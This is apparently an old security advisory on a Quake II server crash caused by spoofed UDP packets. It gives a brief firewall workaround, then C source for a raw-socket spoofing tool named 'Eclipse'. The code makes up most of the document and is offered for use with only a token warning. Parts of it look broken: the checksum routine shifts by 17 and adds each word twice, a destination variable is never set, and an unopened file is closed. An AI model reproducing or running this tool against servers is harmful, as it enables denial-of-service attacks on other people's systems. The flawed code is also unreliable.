In addition to the spoofed udp packets of 127.0.0.1, the attacker can also
spoof udp packets to the Quake II server port from another Quake II
server with the originating port the same as the Quake II server.
This will make the target server ask for a connection from the spoofed
Quake II server and the spoofed Quake II server will accept therefore
sending a Connect $ making Quake II crash.
There is no official patch for this bug yet, however, for a temporary fix
you could firewall all connectiontions comming to your computer on port
27910 with a source port of 27910 or other similar Quake II ports.
I have included source code to exploit this vulnerability, please do not
use it for malicious intent.
Thanks go out to Jordy for comming up with the idea for the fix, as his
server is the only one up for hours on end. =)
/*
Eclipse
Quake II Denial of Service II
Code by profound darkness <peedee@fuente.sventech.com>
*/
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_udp.h>
#include <netinet/in_systm.h>
#include <netinet/protocols.h>
FILE *hemroids;
struct iphdr *ip;
struct udphdr *udp;
struct sockaddr_in sinner;
unsigned long destination;
char *packet;
int flag;
void usage(char *proggy) {
printf("\nUsage: %s <argument> <argument> <argument> <argument>\n\n", proggy);
printf(" <argument> : Quake II server to spoof\n");
printf(" <argument> : Port to send udp packets to\n");
printf(" <argument> : Number of packets to send\n");
printf(" <argument> : Quake II server to crash\n\n");
exit(0);
}
char lookup(char *hostaddy) {
struct hostent *he;
he = gethostbyname(hostaddy);
if (he) {
memset(&sinner, 0, sizeof(struct sockaddr_in));
memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
sinner.sin_family = AF_INET;
sinner.sin_addr.s_addr = inet_addr(hostaddy);
sinner.sin_family = he->h_addrtype;
} else {
printf("\"%s\" is an unknown hostname.\n", hostaddy);
flag = 1;
return 0;
}
return ((unsigned long) he->h_addr);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int lenny = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (lenny > 1) {
sum += *w++;
sum += *w++;
lenny -= 2;
}
if (lenny == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
void buildpacket(char *monster, int dport, int sport, int numpacks, char *sourceguy) {
int sock, counter;
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->saddr = lookup(sourceguy);
ip->daddr = destination;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + 1024);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
for(counter=0;counter!=numpacks;counter++) {
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
perror("SendPacket");
exit(0);
}
usleep(1);
}
}
char main(int argc, char *argv[]) {
int count, sender;
char hostmask[100];
if (argc < 5) usage(argv[0]);
if (getuid()!=0) {
printf("This program requires root.\n");
exit(0);
}
printf("Attempting to resolve %s.\n", argv[1]);
lookup(argv[1]);
printf("Attempting to resolve %s.\n", argv[4]);
lookup(argv[4]);
if(flag == 1) goto doot;
printf("Building %s packets & sending to %s:%s from %s:%s!\n", argv[3], argv[4], argv[2], argv[1], argv[2]);
buildpacket(argv[4], atoi(argv[2]), atoi(argv[2]), atoi(argv[3]), argv[1]);
doot:
if(flag != 1) {
printf("Thanks for using eclipse!\n\n");
}
fclose(hemroids);
exit(0);
}